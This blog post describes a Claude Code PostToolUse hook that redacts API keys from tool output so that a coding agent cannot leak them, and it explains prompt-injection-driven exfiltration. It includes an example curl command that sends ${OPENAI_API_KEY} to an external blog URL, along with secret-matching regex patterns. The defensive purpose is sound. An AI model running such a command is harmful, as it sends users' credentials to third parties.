Filtering Secrets from Coding Agents with a Hook

apwheele1 pts0 comments

Filtering Secrets from Coding Agents with a Hook

Filtering Secrets from Coding Agents with a Hook

by Marc Olson and Andrew Wheeler (with AI assistance from Grok 4.5)

Coding agents like Claude Code, Codex, and Cursor are useful because they can carry out actions on your machine like running shell commands, fetching web pages, editing files, etc.

That capability presents a risk: agents can inadvertently put a secret, or sensitive information (an API key, an AWS credential) into a command or a web request and send it somewhere it should not go. This can happen by accident, or because the agent followed a malicious instruction it read on a webpage – a so-called exfiltration attack, which I wrote about separately in Coding Agents Risk Leaking Secrets.

This post shows a small, concrete defense: a hook that runs after every tool call, scans the tool’s result for secrets, and replaces them with ***REDACTED*** before the model (and the session transcript) ever sees the raw output.

The key idea is simple: if the coding agent never actually sees the secret values, it cannot exfiltrate them directly. It cannot paste them into a web form, encode them into a URL, or include them in a follow-up command, because those strings never enter its context.

How it works

Claude Code lets you register a script that runs at certain points in its loop. The one we want is the PostToolUse hook: it fires right after a tool succeeds. Claude Code hands your script the tool request and its result as JSON on standard input – for a shell command that printed a secret it looks like this:

"hook_event_name": "PostToolUse",<br>"tool_name": "Bash",<br>"tool_input": { "command": "echo $DEMO_SECRET" },<br>"tool_response": "sk-ant-...\\n"

Your script can print back a decision that rewrites that output. We scrub the secret out of the tool result and Claude continues with the cleaned version:

"hookSpecificOutput": {<br>"hookEventName": "PostToolUse",<br>"updatedToolOutput": "***REDACTED***\\n"

That matters for the common case where the secret never appeared in the command at all – only in the result. Asking the agent “what is the value of $DEMO_SECRET?” is a good example: the shell expands the variable and prints the real value; without a post-tool hook, Claude happily reports it. With the hook, the model only sees ***REDACTED***.

Important caveat: the tool has already run. PostToolUse stops secrets from flowing back into the model, not from being used in the first place. So it is possible for the agent to run a command like:

curl https://crimede-coder.com/blog/more-info?param=${OPENAI_API_KEY}"<br>And because of environment variable expansion in bash, still sends the secret to the external source. This is potentially solvable with the same approach though, just using a pre tool hook and replacing $ENVIRONMENT_VARIABLE with something else.

The detection in the hook is plain Python find-and-replace, in two layers (secret_filter.py):

Exact values. We read the actual secret values from environment variables (ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, etc.) and replace those exact strings wherever they appear. This has no false positives because we only redact strings we already know are secret.

Patterns. We also match common key shapes with regular expressions (sk-ant-..., AKIA..., ghp_..., Bearer ...). This catches keys we were not told about, at the cost of occasionally redacting something that merely looks like a key.

Two ways to use it

As a real hook in your own Claude Code. Merge settings.example.json into your project’s .claude/settings.json. From then on, every tool result in that project is filtered automatically:

"hooks": {<br>"PostToolUse": [<br>"matcher": "*",<br>"hooks": [<br>{ "type": "command", "command": "python",<br>"args": ["${CLAUDE_PROJECT_DIR}/redact_secrets_hook.py"] }

The entry point is redact_secrets_hook.py which reads stdin, calls the filter, and prints the decision.

As a self-contained demo. demo_sdk.py uses the Claude Agent SDK to ask Claude headless: what is the value of $DEMO_SECRET? First without a hook (Claude reports the fake secret), then with an in-code PostToolUse hook that rewrites tool output (Claude only sees ***REDACTED***). You can watch both runs without changing any of your global settings.

Try it yourself

See the github repo for the full code. To run these examples you will need ANTHROPIC_API_KEY defined in the environment to be able to use the pay-as-you-go API from anthropic.

# 1) Offline tests -- no API key, no network needed:<br>uv run python test_secret_filter.py

# 2) Inspect the hook directly by piping a tool result into it:<br>echo '{"tool_name":"Bash","tool_response":"sk-ant-api03-abcDEF123456789"}' | uv run python redact_secrets_hook.py

# 3) Full SDK demo (needs claude CLI / API key; deps via uv):<br>uv run python demo_sdk.py

The demo uses only a fake placeholder secret; no real credential is ever written or printed.

Limitations

This is a useful guardrail, not a guarantee. Know what it does not cover:

Shell...

hook claude tool secret from command

Related Articles